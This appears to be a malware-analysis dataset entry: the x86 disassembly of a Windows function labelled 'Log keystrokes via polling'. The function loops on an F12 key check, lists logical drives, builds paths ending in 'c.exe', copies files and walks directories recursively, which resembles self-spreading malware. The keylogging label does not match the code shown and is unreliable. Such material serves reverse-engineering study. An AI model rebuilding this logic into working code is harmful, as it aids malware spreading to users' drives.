Function at 0x405210
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409295
mov eax, dword fs:[0]
push eax
sub esp, 0x360
mov eax, dword [0x40e040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ax, word [0x40a540]
xorps xmm0, xmm0
movups xmmword [ebp - 0x70], xmm0
xor ecx, ecx
mov word [ebp - 0x68], ax
movq xmm0, qword [str.source_path]
mov al, byte [0x40a542]
mov dword [ebp - 0x2e8], ecx
mov dword [ebp - 0x60], 0xb
mov dword [ebp - 0x5c], 0xf
movq qword [ebp - 0x70], xmm0
mov byte [ebp - 0x66], al
mov byte [ebp - 0x65], cl
mov eax, dword [sym.imp.USER32.dll_GetKeyState]
push 0x7b
mov dword [ebp - 4], ecx
mov dword [ebp - 0x350], eax
call eax
test ax, ax
js 0x405ce0
mov eax, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov byte [ebp - 0x338], 0
mov dword [ebp - 0x31c], eax
nop word [eax + eax]
lea eax, [ebp - 0x360]
push eax
call fcn.00405ef0
mov edx, dword [ebp - 0x360]
add esp, 4
mov ecx, dword [ebp - 0x35c]
cmp edx, 0xd5fa0dff
jne 0x4052db
cmp ecx, 0x7ffffffe
je 0x405308
cmp ecx, 0x7ffffffe
jg 0x4052f1
jl 0x4052ed
cmp edx, 0xd5fa0dff
jae 0x4052f1
or al, 0xff
jmp 0x4052f3
mov al, 1
test al, al
jns 0x405308
add edx, 0x2a05f200
adc ecx, 1
mov dword [ebp - 0x2f8], ecx
jmp 0x405315
or edx, 0xffffffff
mov dword [ebp - 0x2f8], 0x7fffffff
mov dword [ebp - 0x318], edx
nop dword [eax + eax]
call sub.MSVCP140.dll__Query_perf_frequency
mov edi, eax
mov esi, edx
mov dword [ebp - 0x310], edi
mov dword [ebp - 0x2ec], esi
call sub.MSVCP140.dll__Query_perf_counter
mov dword [ebp - 0x2f4], eax
mov ecx, edx
mov dword [ebp - 0x2fc], ecx
cmp edi, 0x989680
jne 0x405365
test esi, esi
jne 0x405365
push esi
push 0x64
push ecx
push eax
call fcn.00407ea0
mov ecx, eax
jmp 0x40543b
cmp edi, 0x16e3600
jne 0x4053e2
test esi, esi
jne 0x4053e2
push esi
push edi
push ecx
push eax
call fcn.00407d10
push 0
push 0x3b9aca00
mov esi, edx
mov edi, eax
push esi
push edi
call fcn.00407ea0
push 0
push 0x16e3600
push esi
push edi
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x2ec], edx
call fcn.00407ea0
mov ecx, dword [ebp - 0x2f4]
sub ecx, eax
mov eax, dword [ebp - 0x2fc]
push 0
push 0x3b9aca00
sbb eax, edx
push eax
push ecx
call fcn.00407ea0
push 0
push 0x16e3600
push edx
push eax
call fcn.00407d10
mov ecx, eax
add ecx, dword [ebp - 0x310]
adc edx, dword [ebp - 0x2ec]
jmp 0x40543b
push ebx
push esi
push edi
push ecx
push eax
call fcn.00407dc0
mov edi, ebx
pop ebx
nop
push 0
push 0x3b9aca00
push edx
push eax
mov esi, ecx
call fcn.00407ea0
push 0
push 0x3b9aca00
push edi
push esi
mov dword [ebp - 0x2f4], eax
mov dword [ebp - 0x2fc], edx
call fcn.00407ea0
push dword [ebp - 0x2ec]
push dword [ebp - 0x310]
push edx
push eax
call fcn.00407d10
mov ecx, eax
add ecx, dword [ebp - 0x2f4]
adc edx, dword [ebp - 0x2fc]
mov edi, dword [ebp - 0x318]
mov esi, dword [ebp - 0x2f8]
cmp edi, ecx
jne 0x405453
cmp esi, edx
je 0x405524
cmp esi, edx
jg 0x405461
jl 0x40545d
cmp edi, ecx
jae 0x405461
or al, 0xff
jmp 0x405463
mov al, 1
test al, al
jle 0x405524
sub edi, ecx
sbb esi, edx
cmp edi, 0x914f0000
jne 0x405483
cmp esi, 0x4e94
je 0x405515
cmp esi, 0x4e94
jg 0x405515
jl 0x405499
cmp edi, 0x914f0000
jae 0x405515
push 0
push 0xf4240
push esi
push edi
call fcn.00407d10
push 0
mov ecx, edx
mov dword [ebp - 0x2fc], eax
push 0xf4240
push ecx
push eax
mov dword [ebp - 0x2f4], ecx
call fcn.00407ea0
cmp eax, edi
jne 0x4054cb
cmp edx, esi
je 0x4054f8
cmp edx, esi
jg 0x4054f8
jl 0x4054d5
cmp eax, edi
jae 0x4054f8
mov eax, dword [ebp - 0x2fc]
mov ecx, dword [ebp - 0x2f4]
add eax, 1
push eax
adc ecx, 0
mov dword [ebp - 0x2ec], ecx
call sub.KERNEL32.dll_Sleep
jmp 0x405320
mov eax, dword [ebp - 0x2fc]
mov ecx, dword [ebp - 0x2f4]
push eax
mov dword [ebp - 0x2ec], ecx
call sub.KERNEL32.dll_Sleep
jmp 0x405320
push 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x405320
push dword [ebp - 0x338]
lea eax, [ebp - 0x28]
push 1
push 0x40a43c
push eax
call fcn.004012d0
or dword [ebp - 0x2e8], 0x400
mov dword [ebp - 0x324], 0
mov dword [ebp - 0x320], 0
push 0
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0x324]
push eax
call fcn.004017d0
add esp, 0x1c
test eax, eax
jne 0x405d83
lea ecx, [ebp - 0x28]
call fcn.00404450
mov esi, dword [ebp - 0x320]
test esi, esi
je 0x40558f
lock inc dword [esi + 4]
mov edi, dword [ebp - 0x324]
mov dword [ebp - 0x2f4], edi
mov dword [ebp - 0x32c], edi
mov dword [ebp - 0x328], esi
test esi, esi
je 0x4055af
lock inc dword [esi + 4]
xorps xmm0, xmm0
movlpd qword [ebp - 0x314], xmm0
mov dword [ebp - 0x314], 0
mov dword [ebp - 0x310], 0
test esi, esi
je 0x4055f3
or eax, 0xffffffff
lock xadd dword [esi + 4], eax
jne 0x4055f3
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
jne 0x4055f3
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov byte [ebp - 4], 6
test edi, edi
je 0x4057ff
mov byte [ebp - 0x33c], 0
nop word [eax + eax]
push dword [ebp - 0x33c]
lea eax, [ebp - 0x58]
push 4
push 0x40a544
push eax
call fcn.004012d0
add esp, 0x10
cmp dword [edi + 0x34], 7
lea ecx, [edi + 0x20]
mov byte [ebp - 4], 7
jbe 0x405639
mov ecx, dword [edi + 0x20]
mov eax, dword [edi + 0x30]
lea esi, [ecx + eax*2]
push esi
push ecx
call fcn.00403730
add esp, 8
mov edi, eax
push 0x3a
push esi
push edi
call fcn.004071e0
cmp edi, eax
je 0x40568d
lea ecx, [eax - 2]
cmp edi, ecx
je 0x40568d
cmp word [ecx], 0x2e
lea edx, [ecx - 2]
jne 0x405674
cmp edi, edx
jne 0x40568f
cmp word [edx], 0x2e
jne 0x40568f
jmp 0x40568d
mov ecx, edx
cmp edi, ecx
je 0x40568d
nop word [eax + eax]
cmp word [ecx], 0x2e
je 0x40568f
sub ecx, 2
cmp edi, ecx
jne 0x405680
mov ecx, eax
sub eax, ecx
mov dword [ebp - 0x2f0], ecx
sar eax, 1
xorps xmm0, xmm0
push eax
push ecx
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x30], 0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0
call fcn.00401230
mov edi, dword [ebp - 0x2e8]
lea eax, [ebp - 0x58]
push dword [ebp - 0x48]
or edi, 0xf0
lea ecx, [ebp - 0x40]
cmp dword [ebp - 0x44], 7
mov dword [ebp - 0x2e8], edi
cmova eax, dword [ebp - 0x58]
push eax
call fcn.00404a40
mov ecx, dword [ebp - 0x2c]
mov esi, eax
cmp ecx, 7
jbe 0x40571d
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405713
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d06
push ecx
push edx
call fcn.00407cf2
add esp, 8
xor eax, eax
mov dword [ebp - 0x30], 0
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
mov byte [ebp - 4], 6
call fcn.00404450
test esi, esi
jne 0x4057ce
mov eax, dword [ebp - 0x2f4]
mov esi, dword [0x40e4c8]
cmp dword [eax + 0x34], 7
lea ecx, [eax + 0x20]
jbe 0x40575d
mov ecx, dword [eax + 0x20]
lea edx, [ebp - 0x2fd]
push edx
push dword [eax + 0x30]
lea eax, [ebp - 0x28]
push ecx
push eax
call fcn.004013e0
or edi, 0x300
mov dword [ebp - 0x2e8], edi
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push esi
cmova eax, dword [ebp - 0x28]
push eax
mov byte [ebp - 4], 8
call fcn.00404cf0
mov ecx, dword [ebp - 0x14]
add esp, 0x18
mov byte [ebp - 4], 6
cmp ecx, 0xf
jbe 0x4057ce
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4057c4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d06
push ecx
push edx
call fcn.00407cf2
add esp, 8
lea eax, [ebp - 0x32c]
push eax
call fcn.00403230
add esp, 4
test eax, eax
jne 0x405d32
mov edi, dword [ebp - 0x32c]
mov dword [ebp - 0x2f4], edi
test edi, edi
jne 0x405610
mov esi, dword [ebp - 0x320]
mov edi, dword [ebp - 0x328]
test edi, edi
je 0x40582a
or eax, 0xffffffff
lock xadd dword [edi + 4], eax
jne 0x40582a
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [edi + 8], eax
jne 0x40582a
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
mov byte [ebp - 4], 0
test esi, esi
je 0x405853
or eax, 0xffffffff
lock xadd dword [esi + 4], eax
jne 0x405853
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
jne 0x405853
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
push 0
push 0
call dword [ebp - 0x31c]
xor edi, edi
mov esi, eax
xor eax, eax
mov dword [ebp - 0x2f8], edi
mov dword [ebp - 0x30c], edi
mov dword [ebp - 0x308], edi
mov dword [ebp - 0x304], eax
test esi, esi
je 0x4058f8
cmp esi, 0x7fffffff
ja 0x405d42
cmp esi, 0x1000
jb 0x4058c0
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x405d3d
push eax
call fcn.00407cc2
add esp, 4
test eax, eax
je 0x405d06
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [ebp - 0x2f8], edi
mov dword [edi - 4], eax
jmp 0x4058d1
push esi
call fcn.00407cc2
add esp, 4
mov dword [ebp - 0x2f8], eax
mov edi, eax
push esi
lea eax, [edi + esi]
mov dword [ebp - 0x30c], edi
push 0
push edi
mov dword [ebp - 0x304], eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp - 0x304]
add esp, 0xc
mov dword [ebp - 0x308], eax
push edi
push esi
mov byte [ebp - 4], 9
call dword [ebp - 0x31c]
cmp byte [edi], 0
mov esi, edi
mov edi, dword [ebp - 0x2e8]
je 0x405a44
mov byte [ebp - 0x340], 0
mov byte [ebp - 0x344], 0
mov ecx, esi
mov dword [ebp - 0x30], 0
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 0
movups xmmword [ebp - 0x40], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405940
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x40]
call fcn.004011a0
push 5
push str.c.exe
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0xa
call fcn.00404660
push dword [ebp - 0x340]
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
push dword [ebp - 0x30]
cmova eax, dword [ebp - 0x40]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.004012d0
push dword [ebp - 0x344]
cmp dword [ebp - 0x5c], 0xf
lea eax, [ebp - 0x70]
push dword [ebp - 0x60]
cmova eax, dword [ebp - 0x70]
push eax
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 0xb
push eax
call fcn.004012d0
add esp, 0x20
or edi, 0xc
cmp dword [ebp - 0x44], 7
lea ecx, [ebp - 0x58]
push 1
cmova ecx, dword [ebp - 0x58]
lea eax, [ebp - 0x28]
cmp dword [ebp - 0x14], 7
push ecx
cmova eax, dword [ebp - 0x28]
push eax
mov byte [ebp - 4], 0xc
call fcn.00407666
mov dword [ebp - 0x2f0], eax
test edx, edx
jne 0x405d47
lea ecx, [ebp - 0x28]
call fcn.00404450
lea ecx, [ebp - 0x58]
call fcn.00404450
mov ecx, dword [ebp - 0x2c]
mov byte [ebp - 4], 9
cmp ecx, 0xf
jbe 0x405a25
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405a1b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d06
push ecx
push edx
call fcn.00407cf2
add esp, 8
mov ecx, esi
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405a30
sub ecx, edx
inc esi
add esi, ecx
cmp byte [esi], al
jne 0x405923
mov byte [ebp - 0x348], 0
lea eax, [ebp - 0x28]
push dword [ebp - 0x348]
push 1
push 0x40a43c
push eax
call fcn.004012d0
or edi, 2
add esp, 0x10
mov dword [ebp - 0x2e8], edi
xor esi, esi
xor edi, edi
mov dword [ebp - 0x358], esi
mov dword [ebp - 0x354], edi
push edi
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 0xe
push eax
lea ecx, [ebp - 0x2e4]
call fcn.00402050
cmp byte [ebp - 0x78], 0
mov byte [ebp - 4], 0xf
je 0x405b21
push 0x68
call fcn.00407cc2
add esp, 4
mov dword [ebp - 0x34c], eax
mov byte [ebp - 4], 0x10
test eax, eax
je 0x405aff
xorps xmm0, xmm0
lea esi, [eax + 0x10]
movq qword [eax], xmm0
mov ecx, esi
mov dword [eax + 8], edi
mov dword [eax + 4], 1
mov dword [eax + 8], 1
mov dword [eax], vtable.std::_Ref_count_obj2_struct_std::filesystem::_Recursive_dir_enum_impl_.0
lea eax, [ebp - 0x2e4]
push edi
push eax
call fcn.004020f0
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x48], edi
mov dword [esi + 0x4c], edi
mov byte [esi + 0x50], 1
mov eax, dword [ebp - 0x34c]
jmp 0x405b01
xor eax, eax
mov ecx, dword [ebp - 0x2e8]
lea esi, [eax + 0x10]
or ecx, 1
mov dword [ebp - 0x358], esi
mov edi, eax
mov dword [ebp - 0x2e8], ecx
mov dword [ebp - 0x354], edi
mov eax, dword [ebp - 0x74]
push dword [ebp - 0x2cc]
mov dword [ebp - 0x2ec], eax
mov byte [ebp - 4], 0xe
call fcn.00407825
lea ecx, [ebp - 0x2e4]
call fcn.00404450
mov eax, dword [ebp - 0x2ec]
test eax, eax
jne 0x405d74
lea ecx, [ebp - 0x28]
call fcn.00404450
test edi, edi
je 0x405b62
lock inc dword [edi + 4]
mov dword [ebp - 0x334], esi
mov dword [ebp - 0x330], edi
test edi, edi
je 0x405b76
lock inc dword [edi + 4]
xorps xmm0, xmm0
movlpd qword [ebp - 0x2f0], xmm0
mov dword [ebp - 0x2f0], 0
mov dword [ebp - 0x2ec], 0
test edi, edi
je 0x405bba
or eax, 0xffffffff
lock xadd dword [edi + 4], eax
jne 0x405bba
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [edi + 8], eax
jne 0x405bba
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
mov byte [ebp - 4], 0x14
test esi, esi
je 0x405c27
push 3
lea eax, [ebp - 0x36c]
mov ecx, esi
push eax
call fcn.004038a0
mov ecx, dword [ebp - 0x364]
mov eax, dword [ebp - 0x36c]
test ecx, ecx
je 0x405bf0
cmp eax, 1
je 0x405bf0
cmp eax, 9
jne 0x405d5a
cmp eax, 3
je 0x405c06
add esi, 0x20
cmp dword [esi + 0x14], 7
jbe 0x405c00
mov esi, dword [esi]
push esi
call fcn.00407b1c
lea eax, [ebp - 0x334]
push eax
call fcn.00403300
add esp, 4
test eax, eax
jne 0x405d69
mov esi, dword [ebp - 0x334]
test esi, esi
jne 0x405bc2
mov esi, dword [ebp - 0x330]
test esi, esi
je 0x405c52
or eax, 0xffffffff
lock xadd dword [esi + 4], eax
jne 0x405c52
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
jne 0x405c52
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
test edi, edi
je 0x405c77
or eax, 0xffffffff
lock xadd dword [edi + 4], eax
jne 0x405c77
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [edi + 8], eax
jne 0x405c77
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
mov ecx, dword [ebp - 0x2f8]
mov byte [ebp - 4], 0
test ecx, ecx
je 0x405ccf
mov edx, dword [ebp - 0x304]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x405ca7
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405d06
push edx
push ecx
call fcn.00407cf2
add esp, 8
mov dword [ebp - 0x30c], 0
mov dword [ebp - 0x308], 0
mov dword [ebp - 0x304], 0
push 0x7b
call dword [ebp - 0x350]
test ax, ax
jns 0x4052b0
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0xf
jbe 0x405d16
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405d0c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x405d0c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00407cf2
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00407d00
mov esp, ebp
pop ebp
ret
push eax
push str.directory_iterator::operator
call fcn.00404220
call fcn.004041e0
call fcn.004044d0
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x28]
push eax
push edx
push str.copy_file
call fcn.004042a0
lea eax, [esi + 0x20]
push eax
push ecx
push str.directory_entry::status
call fcn.00404340
push eax
push str.recursive_directory_iterator::operator
call fcn.00404220
lea ecx, [ebp - 0x28]
push ecx
push eax
push str.recursive_directory_iterator::recursive_directory_iterator
call fcn.00404340
lea ecx, [ebp - 0x28]
push ecx
push eax
push str.directory_iterator::directory_iterator
call fcn.00404340
int3